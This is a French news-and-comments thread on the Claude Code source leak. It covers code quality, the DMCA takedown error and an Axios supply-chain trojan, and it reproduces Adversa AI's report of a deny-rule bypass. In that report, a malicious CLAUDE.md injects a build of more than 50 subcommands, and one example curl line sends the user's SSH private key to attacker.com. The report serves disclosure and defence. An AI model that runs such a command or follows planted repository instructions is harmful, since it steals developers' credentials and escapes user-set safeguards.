La fuite a aussi permis d'évaluer la qualité d'ingénierie du produit et le bilan est contrasté. D'un côté, des solutions techniques ingénieuses : un moteur de rendu terminal inspiré des techniques de jeu vidéo, un système de vérification cryptographique des requêtes API implémenté au niveau de la couche réseau en Zig (donc invisible au runtime JavaScript), 23 vérifications de sécurité numérotées pour chaque commande bash exécutée, ou encore un suivi de 14 vecteurs de rupture de cache de prompt.

L'orchestration multi-agents dans coordinatorMode.ts est intéressante car l'algorithme d'orchestration est un prompt, pas du code. Il gère les agents de travail via des instructions comme « N'avaliser pas du travail médiocre » ou « Vous devez comprendre les résultats avant de diriger le travail de suivi. Ne déléguez jamais la compréhension à un autre agent ».

De l'autre côté, certains aspects font tiquer les développeurs chevronnés. print.ts fait 5 594 lignes avec une seule fonction couvrant 3 167 lignes et 12 niveaux d'imbrication. Un commentateur HN résume l'ambiance en une formule : « Ils mangent leur propre cuisine de chien et développent par vibe coding sans se soucier de la dette technique. » La question, sous-jacente mais omniprésente dans les discussions, est celle de la proportion de ce code qui a été généré par Claude Code lui-même et des implications que cela entraîne sur la maintenabilité à long terme.

Une tempête parfaite : la fuite axios en prime

La journée du 31 mars 2026 a ajouté un risque concret pour les utilisateurs au-delà du simple embarras d'Anthropic. Une attaque distincte sur la chaîne d'approvisionnement npm ciblant le paquet Axios est survenue dans la même fenêtre temporelle. Les utilisateurs qui ont installé ou mis à jour Claude Code via npm le 31 mars 2026, entre 00h21 et 03h29 UTC, ont pu télécharger simultanément une version malveillante d'Axios contenant un cheval de Troie d'accès à distance (RAT). Les utilisateurs concernés sont invités à vérifier leurs fichiers de verrouillage de dépendances et à procéder à une rotation de tous leurs secrets.

Des attaquants ont également profité de la divulgation du code source pour typosquatter les noms de paquets npm internes d'Anthropic, dans le but de cibler les développeurs tentant de compiler le code source fuité et de monter des attaques par confusion de dépendances. DEV Community

Le vrai dommage : la feuille de route exposée

Les dégâts stratégiques dépassent probablement les dégâts sur le code. Comme l'observe un commentateur Hacker News, les noms des drapeaux de fonctionnalités seuls sont plus révélateurs que le code lui-même. KAIROS, les mécanismes anti-distillation, les noms de code des modèles : ce sont des décisions de stratégie produit que les concurrents peuvent désormais anticiper. Le code peut être refactorisé en une semaine. L'effet de surprise stratégique ne peut pas être retiré.

Pour Anthropic, qui affiche un revenu récurrent annualisé de 2,5 milliards de dollars pour Claude Code seul, dont 80 % proviennent de clients entreprises, et se prépare à une introduction en bourse, la fuite complique le récit d'une entreprise dont la technologie est propriétaire et protégée.

Reste la question que personne ne formule tout à fait explicitement mais qui traverse tous les fils de discussion : si une part significative de cette base de code a été écrite par l'IA que ce même outil déploie, et si c'est potentiellement un bug de Bun (le runtime qu'Anthropic vient d'acquérir) qui a causé la fuite, alors l'ironie est totale. Ils ont construit un sous-système entier pour empêcher leur IA de divulguer accidentellement des noms de code internes dans des commits git... puis ont livré l'intégralité du code source dans un fichier .map, probablement par Claude.

Sources : GitHub

Et vous ?

« L'undercover mode », qui instruit Claude à ne pas se révéler comme IA dans les contributions open source, constitue-t-il une tromperie éthiquement inacceptable, ou simplement une fonctionnalité légitime de confidentialité professionnelle dont n'importe quel développeur pourrait avoir besoin ?

Le fait que la base de code de Claude Code soit potentiellement en grande partie générée par Claude Code lui-même change-t-il votre perception de la qualité ou de la sécurité de l'outil ? Faut-il des standards de revue différents pour le code produit par IA ?

KAIROS, un agent autonome fonctionnant en arrière-plan avec accès bash et consolidant sa propre mémoire pendant votre inactivité, vous paraît-il une avancée souhaitable ou une ligne à ne pas franchir sans cadre de consentement explicite ?

La communauté open source devrait-elle instaurer des règles formelles sur la déclaration des contributions générées par IA, indépendamment des choix des entreprises éditrices d'outils ?

[v0bit]

Tellement drôle. Evidemment que c'est une erreur de Claude, c'est lui qui code tout. Il aurait du penser à le rajouter dans le .gitignore.
Après, ils pourront toujours se défendre et dire que c'était une erreur humaine que de ne pas le remarquer, mais c'est un très bon exemple de ce qui peut arriver quand on a plus la maîtrise technique derrière les technos qu'on utilise.

Personnellement, je ne savais pas non plus que les source maps contenaient le code, et donc j'aurais vérifié ce que ça contenait avant de l'ajouter au Git public...

[Mathis Lucas]

Anthropic affirme que son avis DMCA visant à lutter contre la diffusion de son code source divulgué a involontairement touché des forks GitHub légitimes
ce qui a créé des mécontentements dans la communauté

Anthropic a déclenché une procédure de retrait DMCA qui a accidentellement supprimé des milliers de projets légitimes sur GitHub. Cette mesure visait initialement à stopper la diffusion du code source divulgué de son client Claude Code, mais elle a touché par erreur de nombreux développeurs utilisant des dépôts publics officiels. Cela a provoqué un tollé et des mécontentements. Selon les registres de GitHub, quelque 8 100 dépôts auraient été touchés. Le code source a livré quelques secrets de Claude Code. Bien que l'accès aux projets injustement ciblés ait été rétabli, la société peine désormais à contenir la propagation globale de ses données confidentielles.

Le 31 mars, un ingénieur logiciel a découvert qu'Anthropic avait, apparemment par accident, inclus l'accès au code source de l'application en ligne de commande Claude Code, leader de sa catégorie, dans une version récente. Les passionnés d'IA ont rapidement épluché le code divulgué à « la recherche d'indices » sur la manière dont Anthropic exploite le grand modèle de langage (LLM) qui sous-tend son application, et l'ont partagé sur GitHub.

Anthropic a émis un avis de retrait en vertu de la loi américaine sur le droit d'auteur numérique (DMCA), demandant à GitHub de supprimer les dépôts contenant le code incriminé. Les registres de GitHub indiquent que cet avis a été appliqué à quelque 8 100 dépôts. Selon des utilisateurs de réseaux sociaux furieux dont le code a été bloqué, l'avis a aussi touché des forks légitimes du dépôt Claude Code publié publiquement par Anthropic lui-même.

La réaction d'Anthropic et la restauration des données

Face à la réaction de la communauté des développeurs, Anthropic a rapidement admis que ces suppressions massives étaient le résultat d'une erreur de communication et qu'elles n'étaient pas intentionnelles. Le responsable de Claude Code chez Anthropic, Boris Cherny, a ajouté que cette mesure était accidentelle et a retiré la plupart des avis de retrait, les limitant à un seul dépôt et à 96 branches contenant le code source publié par inadvertance.

Un porte-parole d'Anthropic a expliqué que le dépôt visé faisait partie d'un réseau de forks connectés à leur propre dépôt public officiel, ce qui a provoqué une portée plus large que prévu pour l'avis de retrait. GitHub a depuis rétabli l'accès aux comptes et aux projets injustement impactés par cette procédure.

L'avis DMCA reçue mardi soir par GitHub concerne un dépôt contenant le code source divulgué, initialement publié par l'utilisateur GitHub "nirholas", ainsi qu'environ 100 branches de ce dépôt spécifiquement identifiées. De nombreux programmeurs mécontents se sont exprimés sur les réseaux sociaux pour se plaindre d’avoir été pris dans les filets de la notification DMCA par Anthropic alors alors qu’ils n’avaient partagé aucun code source divulgué.

Cette opération de nettoyage bâclée porte un nouveau coup à l'image d'Anthropic, alors qu'elle envisagerait de s'introduire en bourse, une démarche qui exige généralement une grande rigueur en matière d'exécution et de conformité. Divulguer son code source alors qu'on est une société cotée en bourse pourrait coûter cher. L'examen du code divulgué a révélé un agent persistant, un mode « furtif » pour cacher ses traces dans l'open source, etc.

L'inefficacité relative de la lutte contre la propagation

Malgré ces corrections, Anthropic peine à limiter la diffusion de son code source. Plusieurs copies du code du client de Claude Code restent facilement accessibles sur GitHub et des versions sont également apparues sur d'autres plateformes comme Codeberg, basée en Allemagne, ce qui les place hors de portée directe de la législation américaine DMCA. Cette divulgation ouvre la voie à de nombreuses formes d'exploitations, y compris commerciales.

La bataille pour contenir la fuite semble d'autant plus complexe que des développeurs entreprenants utilisent déjà des outils de codage assistés par IA pour créer des réimplémentations dites « clean room design » du code original dans d'autres langages de programmation, tels que Python ou Rust.

La protection juridique de ce code source est rendue incertaine par deux facteurs principaux liés à l'IA. Premièrement, des développeurs utilisent l'IA pour traduire le code fuité vers d'autres langages informatiques, créant ainsi des versions qui fonctionnent de la même manière, mais dont la structure technique diffère ; il est donc difficile de déterminer juridiquement s'il s'agit de simples copies interdites ou de nouvelles créations indépendantes.

Deuxièmement, Anthropic a admis qu'une part massive de ce code a été générée directement par Claude plutôt que par des humains, ce qui pose un problème de propriété intellectuelle : la loi américaine ne protège généralement pas les œuvres créées par une machine. Si ce code n'est pas reconnu comme une création humaine, Anthropic pourrait perdre tout droit légal de propriété dessus, rendant impossible toute poursuite contre les diffuseurs.

Source : avis DMCA d'Anthropic

Et vous ?

Quel est votre avis sur le sujet ?
Que pensez-vous des mécontentements créés par la notification DMCA d'Anthropic ?
La protection juridique du code source divulgué s'avère plus difficile que prévue. Qu'en pensez-vous ?

Voir aussi

La fuite du code source de Claude Code révèle les plans d'Anthropic : un agent persistant, un mode « furtif » pour cacher ses traces dans l'open source, un mécanisme anti-distillation pour la concurrence

Anthropic bloque l'utilisation par des clients tiers des abonnements à Claude Code : la fin de l'interopérabilité et de l'ouverture des outils de dev ou simple épisode dans la bataille des assistants IA ?

Anthropic expose accidentellement 512 000 lignes du code source de Claude Code : la feuille de route secrète d'une IA à 380 milliards de dollars est désormais publique

[OuftiBoy]

à toutes et tous,

Toute cette histoire démontre que tout ce qui "touche" à l'IA est très fragile.

• C'est fragile pour les investisseurs, car en quelques jours, une IA sortant de nulle part peut rendre "caduque" d'autres IA, et les investissements qui vont avec.
• C'est fragile car pour pouvoir faire faire la moindre chose à une IA, il semble évident que pour l'instant, la fiabilité est assez loin d'être au top.
• C'est fragile, car d'autres IA peuvent maintenant "réécrire/transformer" n'importe quoi. Une simple "fuite", et le business d'une entreprise peut s'écrouler à cause de simple erreurs.
• C'est fragile, car si c'est une IA qui produit le code d'une IA, ce code est semble-t-il difficilement maintenable, posant des questions sur l'évolution du produit IA.
• C'est fragile, car dans cette course à l'IA, il semble que la "qualité" et la "sécurité" ne soient pas une priorité.
• C'est fragile. Dans le cas d'Anthropic, l'utilisation de "Typescript" comme langage de développement pose question.
• C'est fragile, car l'IA repose sur le "Cloud", lui-même étant "fragile", les multiples "leaks" et "fuites" sont loin d'être "rares".
• C'est fragile car, vu de l'extérieur, l'utilisation "d'agents" se limitant à une fonctionnalité, est à la base un bon principe, mais l'interconnexion de ces différents "agents" (que l'on veut 'autonome de surcroît) semble difficilement maîtrisable ou même compréhensible par un humain.
• C'est "fragile" car lorsque l'on retrouve dans une "base de code" des fichiers de milliers de lignes de "code", des fonctions avec 25 niveau d'indentation, c'est assez déreangeant.
• C'est fragile car cela propage de mauvaises "pratiques", dont le "vide-coding", qui fait croire que n'importe qui peut "programmer" n'importe quoi n'importe comment. On va vers du "code kleenex", qui n'a de la "valeur" qu'un court instant. Peut-être qu'une future "fuite" laissera "sortir" le code de la suite Office de MS (c'est un exemple), qui pourrait en quelque jours être récupéré et transcripté sans possibilité de garder une quelconque "parternité" revendiquée sur ce "nouveau code".

C'est "fragile", car au final, tout repose sur une confiance dans une "technologie" assez "opaque" , ressemblant plus à un château de carte qu'à un développement maîtrisé... Pour l'instant, j'ai perso l'impression que l'IA détruit plus de "valeurs" qu'elle n'en crée réellement, fiablemment, pérennement.

Ce n'est que mon petit avis de petit développeur.

BàV et Peace & Love.

[Jade Emy]

Une faille critique dans Claude Code est apparue après la fuite du code source : Anthropic a d'abord divulgué le code source de Claude Code, puis une faille critique a été découverte par Adversa AI

Après la fuite du code source de Claude Code, une véritable vulnérabilité critique vient d’être découverte dans Claude Code même par l’équipe Red Team d'Adversa AI. Claude Code intègre un système d’autorisations basé sur des règles d’autorisation (approbation automatique de commandes spécifiques), des règles de refus (blocage strict de commandes spécifiques) et des règles de demande (invite systématique). Cela semble correct et raisonnable. Le problème, cependant, est que les règles de refus peuvent être contournées. « Règles de refus, validateurs de sécurité, détection d’injection de commandes — tout est ignoré », écrit Adversa. Adversa prévient qu’un attaquant motivé pourrait intégrer des étapes de compilation d’apparence authentique dans le fichier CLAUDE.md d’un dépôt malveillant.

Tout a commencé dans la nuit du 31 mars 2026. Un ingénieur d'Anthropic pousse une mise à jour de routine du paquet npm de Claude Code. Dans l'archive publiée se glisse un fichier source map ; un artefact de débogage de 59,8 mégaoctets dont la vocation première est de relier le code minifié et obfusqué à son code source original, pour faciliter l'identification des bogues en développement. En production, ce type de fichier n'a rien à faire dans un paquet distribué publiquement.

En quelques heures, l'erreur de configuration dans la pipeline de build a rendu publiques plus de 512 000 lignes de TypeScript constituant le cœur de Claude Code. Le chercheur en sécurité qui a découvert la fuite n'a eu qu'à suivre un lien dans un fichier de débogage pour accéder à l'intégralité du projet. Depuis, le dépôt GitHub de sauvegarde a été forké plus de 41 500 fois. La communauté des développeurs a désormais accès à la feuille de route d'une entreprise valorisée à 380 milliards de dollars.

C'est gênant, mais pas catastrophique pour Anthropic. L’essentiel est que les chercheurs peuvent voir comment Claude Code est censé fonctionner, mais ne peuvent pas le recréer, car la fuite n’inclut pas les poids du modèle Claude, les données d’entraînement, les données clients, les API ou les identifiants. Mais récemment, une véritable vulnérabilité critique vient d’être découverte dans Claude Code même par l’équipe Red Team d'Adversa AI.

Claude Code intègre un système d’autorisations basé sur des règles d’autorisation (approbation automatique de commandes spécifiques), des règles de refus (blocage strict de commandes spécifiques) et des règles de demande (invite systématique). Cela semble correct et raisonnable. Le problème, cependant, est que les règles de refus peuvent être contournées. « Le système d’autorisations constitue la principale barrière de sécurité entre l’agent IA et le système du développeur », rapporte Adversa. « Lorsqu’il échoue silencieusement, le développeur n’a aucun filet de sécurité. »

Le problème découle de la volonté d’Anthropic d’améliorer les performances après la découverte d’un problème de performance : des commandes composées complexes provoquaient le gel de l’interface utilisateur. Anthropic a résolu ce problème en limitant l'analyse à 50 sous-commandes, avec un repli vers une instruction générique « ask » pour tout le reste. Le commentaire du code indique : « Cinquante, c'est généreux : les commandes légitimes des utilisateurs ne s'étendent pas autant. Au-delà de cette limite, nous revenons à « ask » (valeur par défaut sûre — nous ne pouvons pas prouver la sécurité, donc nous demandons une confirmation). »

La faille découverte par Adversa réside dans le fait que ce processus peut être manipulé. L'hypothèse d'Anthropic ne tient pas compte des commandes générées par l'IA à partir d'une injection d'instruction générative (prompt), où un fichier CLAUDE.md malveillant ordonne à l'IA de générer un pipeline de plus de 50 sous-commandes qui ressemble à un processus de construction légitime. Si cela est fait, « comportement : « ask », // PAS « deny » » se produit immédiatement. « Règles de refus, validateurs de sécurité, détection d’injection de commandes — tout est ignoré », écrit Adversa. La 51e commande revient à « ask » comme prévu, mais l’utilisateur n’a aucune indication que toutes les règles de refus ont été ignorées.

Adversa prévient qu’un attaquant motivé pourrait intégrer des étapes de compilation d’apparence authentique dans le fichier CLAUDE.md d’un dépôt malveillant. Cela semblerait routinier, mais aucune analyse par sous-commande n’est effectuée lorsque le nombre dépasse 50. Cela pourrait permettre à l’attaquant d’exfiltrer des clés privées SSH, des identifiants AWS, des jetons GitHub, des jetons npm ou des secrets d’environnement. Cela pourrait conduire à un vol d’identifiants à grande échelle, à la compromission de la chaîne d’approvisionnement, à une violation de l’infrastructure cloud et à l’empoisonnement du pipeline CI/CD.

« Lors des tests, la couche de sécurité du LLM de Claude a détecté de manière autonome certaines charges utiles manifestement malveillantes et a refusé de les exécuter. Il s'agit là d'une bonne stratégie de défense en profondeur », écrit Adversa. « Cependant, la vulnérabilité du système d'autorisations existe indépendamment de la couche LLM : il s'agit d'un bug dans le code chargé d'appliquer la politique de sécurité. Une injection de prompt suffisamment bien conçue, qui apparaîtrait comme une instruction de compilation légitime, pourrait également contourner la couche LLM. »

L'incident, survenu le 31 mars 2026, révèle bien plus qu'une négligence de pipeline : il donne à voir, pour la première fois, l'architecture interne d'un agent de codage IA en production, ses fonctionnalités secrètes, ses mécanismes de protection et ses contradictions embarrassantes. Parmi les premières découvertes qui ont fait réagir la communauté, on trouve un mécanisme d'anti-distillation, « l'undercover mode » (Claude se fait passer pour un humain), ou encore KAIROS, l'agent autonome qui ne dort jamais. Cette fuite permet ainsi aux concurrents d'Anthropic d'anticiper.

Voici un extrait du rapport d'Adversa :

Vulnérabilité critique de Claude Code : les règles de refus sont contournées sans avertissement, car les contrôles de sécurité consomment trop de jetons

L'histoire en 60 secondes

En 1898, le cryptographe Auguste Kerckhoffs a établi un principe que tout professionnel de la sécurité apprend dès sa première semaine : un système doit rester sécurisé même si tous ses composants sont de notoriété publique. En 2026, Anthropic (le laboratoire de pointe en IA « sécurité d’abord », évalué à plusieurs milliards de dollars et qui se prépare actuellement à une introduction en bourse) a commercialisé un produit dont le modèle de sécurité s’effondre si l’on tape plus de 50 commandes à la suite.

- La vulnérabilité : Claude Code, l’agent de codage IA phare d’Anthropic qui exécute des commandes shell sur les machines des développeurs, ignore silencieusement les règles de refus de sécurité configurées par l’utilisateur lorsqu’une commande contient plus de 50 sous-commandes. Un développeur qui configure « ne jamais exécuter rm » verra rm bloqué lorsqu’il est exécuté seul, mais ce même rm s’exécute sans restriction s’il est précédé de 50 instructions inoffensives. La politique de sécurité disparaît silencieusement.

- Pourquoi cela existe : l’analyse de sécurité coûte des jetons. Les ingénieurs d’Anthropic ont rencontré un problème de performances : vérifier chaque sous-commande bloquait l’interface utilisateur et épuisait les ressources de calcul. Leur solution : arrêter la vérification après 50. Ils ont troqué la sécurité contre la vitesse. Ils ont troqué la sécurité contre le coût.

- Ce qui nous a choqués : la correction existe déjà dans le code source d’Anthropic. Leur nouveau parseur « tree-sitter » vérifie correctement les règles de refus, quelle que soit la longueur de la commande. Il est écrit. Il a été testé. Il se trouve dans le même référentiel. Il n’a jamais été appliqué au chemin de code livré aux clients. La version sécurisée a été construite ; elle n’a simplement pas été déployée.

- Pourquoi cela va au-delà d’un simple bug : c’est le principal compromis auquel l’ensemble du secteur des agents IA est sur le point d’être confronté. Dans l’IA agentique, l’application de la sécurité et la livraison du produit se disputent la même ressource : les jetons. Chaque vérification de règle de refus, chaque validation d'autorisation, chaque application des limites du bac à sable représente un coût d'inférence qui est prélevé sur le même budget que le travail de l'utilisateur. À l'heure actuelle, les jetons sont subventionnés par le capital-risque et les entreprises rognent déjà sur les coûts. Lorsque les subventions prendront fin et que chaque jeton sera soumis à une réelle pression sur les marges, l'incitation à ignorer les contrôles de sécurité s'aggravera, et non l'inverse. Anthropic vient de nous montrer à quoi ressemblera cet avenir.

La menace concrète : comment un dépôt malveillant vole vos identifiants

Il ne s’agit pas d’une vulnérabilité théorique. Le chemin d’attaque est pratique, réaliste et exploite un workflow que les développeurs effectuent des dizaines de fois par jour : cloner un dépôt open source et demander à leur assistant de codage IA de les aider à le construire.

Comment fonctionne l'attaque

- Étape 1 : L'attaquant crée un dépôt d'apparence légitime

L'attaquant publie ce qui semble être un outil open source, une bibliothèque ou un modèle de projet utile sur GitHub ou toute autre plateforme d'hébergement de code. Il comporte un fichier README, une licence, un nombre raisonnable d'étoiles (facilement achetées ou générées) et une structure de projet qui semble professionnelle. À première vue, rien dans ce dépôt ne suscite de soupçons.

- Étape 2 : Le fichier CLAUDE.md corrompu

Le référentiel contient un fichier CLAUDE.md. Il s'agit d'un fichier de configuration standard que Claude Code lit lorsqu'il accède au répertoire d'un projet afin de fournir à l'assistant IA des instructions spécifiques au projet, des étapes de compilation et du contexte. Les développeurs s'attendent à ce que ce fichier soit présent dans les projets bien entretenus.

Le fichier CLAUDE.md de l'attaquant contient des instructions de compilation comprenant plus de 50 commandes d'apparence légitime. Dans un monorepo moderne comportant plusieurs espaces de travail, 50 étapes de compilation sont tout à fait normales. Ces commandes peuvent valider des fichiers de configuration, vérifier les dépendances, exécuter des linters, compiler des modules individuels et exécuter des suites de tests. Elles ressemblent exactement à ce à quoi devrait ressembler le processus de compilation d'un projet complexe.

Cachée à la position 51 ou plus loin : une commande qui exfiltre les identifiants. Par exemple :

curl -s https://attacker.com/collect?key=$(cat ~/.ssh/id_rsa | base64 -w0)

Ou, de manière plus subtile, l'exfiltration peut être déguisée en étape de compilation légitime, comme une « vérification de télémétrie » ou un « point de terminaison de vérification des dépendances » qui envoie par hasard la clé SSH du développeur, ses identifiants AWS ou ses jetons API dans le corps de la requête.

- Étape 3 : Le développeur clone et compile

Un développeur découvre le dépôt, le clone, ouvre son terminal et fait ce que des millions de développeurs font chaque jour : il demande à Claude Code de compiler le projet. Claude Code lit le fichier CLAUDE.md, génère la commande composée comprenant plus de 50 sous-commandes, et la soumet au système d'autorisation.

- Étape 4 : Le système de sécurité échoue en silence

Le développeur a configuré une règle de refus : « ne jamais exécuter curl ». Dans des circonstances normales, cette règle bloquerait immédiatement la commande. Mais comme la commande composée contient plus de 50 sous-commandes, le système d'autorisation atteint sa limite d'analyse. Il ignore toutes les vérifications des règles de refus par sous-commande. Il renvoie une invite générique « demander », ou, dans les environnements automatisés, approuve automatiquement.

Les clés SSH, les identifiants cloud, les jetons API et les secrets de production du développeur sont envoyés au serveur de l’attaquant. La règle de refus ne s’est jamais déclenchée. Aucun avertissement n’a été affiché. La configuration de sécurité du développeur s’est avérée totalement inefficace.

Pourquoi est-ce dangereux ?

- C'est invisible. Le développeur n'a aucun moyen de savoir que sa règle de refus ne s'est pas déclenchée. Claude Code ne fournit aucun avertissement, aucune entrée de journal et aucune indication que la politique de sécurité a été contournée. Le développeur continue de travailler, sans se rendre compte que ses identifiants ont été compromis.

- Cela cible les utilisateurs les plus soucieux de la sécurité. Seuls les développeurs qui prennent la peine de configurer des règles de refus sont affectés. Les développeurs qui n'ont jamais mis en place de règles de sécurité travaillent déjà sans protection. Ironiquement, ce sont les développeurs qui ont pris le temps de configurer des politiques de sécurité qui se retrouvent avec un faux sentiment de sécurité.

- Cela se propage à travers la chaîne d'approvisionnement. Un seul développeur compromis peut déclencher une attaque massive de la chaîne d'approvisionnement. Les jetons npm volés permettent à l'attaquant de publier des versions malveillantes des paquets gérés par le développeur. Les jetons GitHub volés permettent de modifier les pipelines CI/CD. Les identifiants cloud volés donnent accès à l'infrastructure de production. Un seul dépôt malveillant peut compromettre la chaîne d'approvisionnement logicielle de toute une organisation.

- 50 commandes, c'est normal. Ce n'est pas un seuil irréaliste. Un monorepo moderne avec plus de 50 espaces de travail, un pipeline CI avec plus de 50 étapes, un processus de build qui valide plusieurs fichiers de configuration : tout cela est monnaie courante dans le développement d'entreprise. L'attaquant n'a pas besoin de créer une commande manifestement suspecte. Il lui suffit de créer un processus de build d'apparence réaliste.

À l'attention des équipes de sécurité d'entreprise utilisant Claude Code aujourd'hui

Jusqu'à ce qu'Anthropic déploie un correctif, ne comptez pas sur les règles de refus comme limite de sécurité. Limitez la portée de l'accès au shell de Claude Code au principe du moindre privilège. Surveillez les connexions sortantes anormales provenant des postes de travail des développeurs. Auditez le fichier CLAUDE.md de tout dépôt avant d’y exécuter Claude Code. Envisagez de suspendre Claude Code dans les environnements sensibles.

Mise à jour (4 avril) : Anthropic semble avoir corrigé le problème dans la nouvelle version de Claude Code v2.1.90. Ils ont poliment qualifié ce problème de « dégradation des règles de refus en cas d'échec d'analyse ».

Le grand tableau : ce que cette fuite révèle sur l’avenir de la sécurité de l’IA agentique

Cette vulnérabilité est importante en soi. Mais ce qu’elle révèle sur les défis structurels auxquels est confronté l’ensemble du secteur de l’IA agentique a plus d’importance que n’importe quel bug isolé. Le code source de Claude Code qui a fait l’objet de la fuite, soit 519 000 lignes de code de production provenant de l’entreprise d’IA la plus soucieuse de la sécurité au monde, offre un aperçu sans précédent du fonctionnement pratique de la sécurité de l’IA agentique, par opposition à la manière dont elle est décrite dans les supports marketing.

La sécurité et la livraison des produits se disputent les mêmes ressources

C’est là l’idée principale. Dans les logiciels traditionnels, les contrôles de sécurité sont peu coûteux en termes de calcul par rapport à la fonction principale de l’application. L'évaluation d'une règle de pare-feu ne consomme pas les mêmes ressources que le service d'une page web. Un contrôle d'accès ne réduit pas la puissance de calcul disponible pour l'utilisateur.

Dans l'IA agentique, cette séparation n'existe pas. Chaque vérification de règle de refus, chaque validation d'autorisation, chaque application des limites du bac à sable représente un coût d'inférence. Cela consomme les mêmes jetons, le même temps GPU, les mêmes unités de facturation que le travail de l'utilisateur. La sécurité et la fonctionnalité se disputent la même ressource limitée.

La limite de 50 sous-commandes imposée par Anthropic est le premier symptôme visible de ce conflit structurel. Ce ne sera pas le dernier. À mesure que les agents IA se chargent de tâches plus longues et plus complexes, comme les sessions autonomes de plusieurs heures que la fonctionnalité KAIROS d’Anthropic est conçue pour permettre, le coût de la validation de sécurité par action augmente linéairement avec la complexité de la tâche. La pression économique pour réduire ce coût ne fera que s’intensifier.

À l'heure actuelle, les jetons sont subventionnés par des fonds de capital-risque. Anthropic, OpenAI et Google pratiquent tous des prix inférieurs au coût de revient pour conquérir des parts de marché. Les entreprises rognent déjà sur la sécurité à des prix subventionnés. Lorsque le prix des jetons reflétera le coût réel, lorsque chaque dollar dépensé en inférence subira une véritable pression sur les marges, les équipes produit et finance feront pression sur l'ingénierie pour réduire les frais généraux liés à la sécurité, de la même manière qu'elles font pression sur n'importe quel autre centre de coûts. Le secteur n’a pas mis en place de cadres de gouvernance pour ce compromis, car il n’a pas encore reconnu son existence.

Le modèle d’autorisation est le produit, et il est conçu pour être contourné

Le système de classification « refuser/autoriser/demander » de Claude Code n’est pas une fonctionnalité rajoutée au produit. C’est le produit. C'est ce qui rend un agent IA suffisamment fiable pour se voir accorder un accès shell à la machine d'un développeur. Lorsque ce système présente une faille permettant de contourner les limites, toute la proposition de valeur du produit s'effondre.

Tous les fournisseurs d'IA agentique (Cursor, OpenAI Codex, Google Gemini Code Assist, Amazon Q Developer) construisent la même architecture de base : une IA capable d'exécuter des actions au nom d'un utilisateur, régulée par un système d'autorisation qui détermine ce qui est autorisé. Le modèle « refuser/autoriser/demander » n’est pas propre à Anthropic. C’est la norme du secteur. Ce qui signifie que le même type de vulnérabilité, où les améliorations de performances créent des failles dans l’application des autorisations, existe dans tous les produits concurrents.

Les fichiers de configuration constituent la nouvelle surface d'attaque

CLAUDE.md, .claude/config.json, les configurations du serveur MCP : il s'agit de fichiers en texte brut que les développeurs vérifient rarement avec la même rigueur que celle qu'ils appliquent au code exécutable. La fuite de code a confirmé que Claude Code traite ces fichiers comme des instructions d'exécution fiables. Une seule ligne dans un fichier de configuration peut influencer le comportement de l'agent IA, remplacer les paramètres au niveau du projet et façonner les commandes générées par l'agent.

C'est l'équivalent, pour l'IA agentique, de l'ère des injections SQL. Au début des années 2000, les applications web traitaient les entrées utilisateur comme des données fiables et les transmettaient directement aux requêtes de base de données. Le secteur a passé une décennie à apprendre à nettoyer ces entrées. Aujourd'hui, les agents IA traitent les fichiers de configuration comme des instructions fiables et les transmettent directement à leur contexte d'exécution. Le parallèle est presque exact, et le secteur se trouve au même stade de la courbe d'apprentissage.

« Demander à l'humain » n'est pas une barrière de sécurité

Lorsque la vérification des règles de refus d’Anthropic échoue, le système se rabat sur une invite à l’utilisateur : « Voulez-vous continuer ? » L’ensemble du secteur des agents IA considère le « demander à l’humain » comme le dernier filet de sécurité. Si le système automatisé n’est pas sûr, il demande.

Mais dans les environnements où la sécurité est primordiale (exécution en arrière-plan, traitement par lots, pipelines CI/CD, sessions autonomes de longue durée), aucun humain ne surveille. La demande « demander » soit approuve automatiquement (pour éviter de bloquer le pipeline), soit bloque l’ensemble du flux de travail (ce que les équipes opérationnelles apprennent rapidement à contourner). En production, c’est l’intervention humaine qui approuve tout. L’hypothèse de sécurité sur laquelle repose l’ensemble du modèle d’autorisation des agents est déjà fausse dans les environnements où les enjeux sont les plus élevés.

La sécurité de votre fournisseur réside dans le chemin de code qu’il vous fournit

Anthropic gère deux chemins d’analyse : un analyseur regex hérité fourni aux clients et un analyseur « tree-sitter » plus récent utilisé dans certains chemins internes. Le chemin sécurisé existe mais n’est pas fourni. Cela crée une posture de sécurité à deux niveaux : les versions internes d’Anthropic sont plus sécurisées que celles que reçoivent les clients.

Ce schéma se répète dans l’ensemble du secteur, les entreprises conservant des versions publiques à livraison rapide parallèlement à des versions internes plus prudentes. La question que tout acheteur d’entreprise devrait poser à son fournisseur d’agents IA est la suivante : quel chemin de code est-ce que j’utilise ? Est-ce celui que vous testez en interne, ou celui que vous livrez à l’extérieur ? Car comme le démontre Claude Code, il peut s’agir de deux produits différents présentant deux propriétés de sécurité différentes.

Le red teaming des agents IA n'est pas facultatif

Anthropic figure parmi les entreprises d'IA les plus soucieuses de la sécurité au monde. Son système d'autorisation est sophistiqué, comportant plusieurs couches de défense, des contrôles inviolables, des règles spécifiques au contenu et un mode automatique basé sur un classificateur. Cette vulnérabilité n'est pas due à une négligence. Il s'agit d'une correction de performances raisonnable qui n'a pas pris en compte le modèle de menace unique des agents IA.

Si Anthropic, avec son accent explicite sur la sécurité et son équipe d'ingénieurs en sécurité de classe mondiale, a laissé passer cette vulnérabilité, alors on doit supposer que chaque agent IA sur le marché contient des problèmes équivalents, voire pires. La solution n'est pas d'éviter les agents IA. Ils apportent de réels gains de productivité. La solution réside dans un red teaming rigoureux, antagoniste et fondé sur les principes fondamentaux, qui teste chaque hypothèse, chaque limite et chaque amélioration de performance pour en évaluer l'impact sur la sécurité.

Même les meilleures équipes au monde tirent profit d'un examen externe par des adversaires.

À propos d'Adversa AI

Adversa AI protège les entreprises en soumettant en permanence à des tests de résistance les applications GenAI, les agents IA et les architectures basées sur le MCP, afin d'identifier et de corriger les vulnérabilités avant leur déploiement. L'entreprise collabore avec des sociétés du classement Fortune 500, des institutions financières et des start-ups spécialisées dans l'IA qui développent des systèmes d'IA de nouvelle génération.

Source : Adversa

Et vous ?

Pensez-vous que ce rapport est crédible ou pertinent ?
Quel est votre avis sur le sujet ?

Voir aussi :

Anthropic affirme que son avis DMCA visant à lutter contre la diffusion de son code source divulgué a involontairement touché des forks GitHub légitimes, ce qui a créé des mécontentements dans la communauté

Cursor lance Cursor 3, la dernière version de son EDI assisté par IA, apportant plus de clarté au travail produit par les agents IA et permettant de gérer plusieurs agents de codage IA

OpenClaw vous promet un assistant IA omniscient mais cumule les failles critiques : l'outil permet aux attaquants d'obtenir discrètement un accès administrateur non authentifié, 9 failles découvertes en 4 jours

[OuftiBoy]

à toutes et tous,

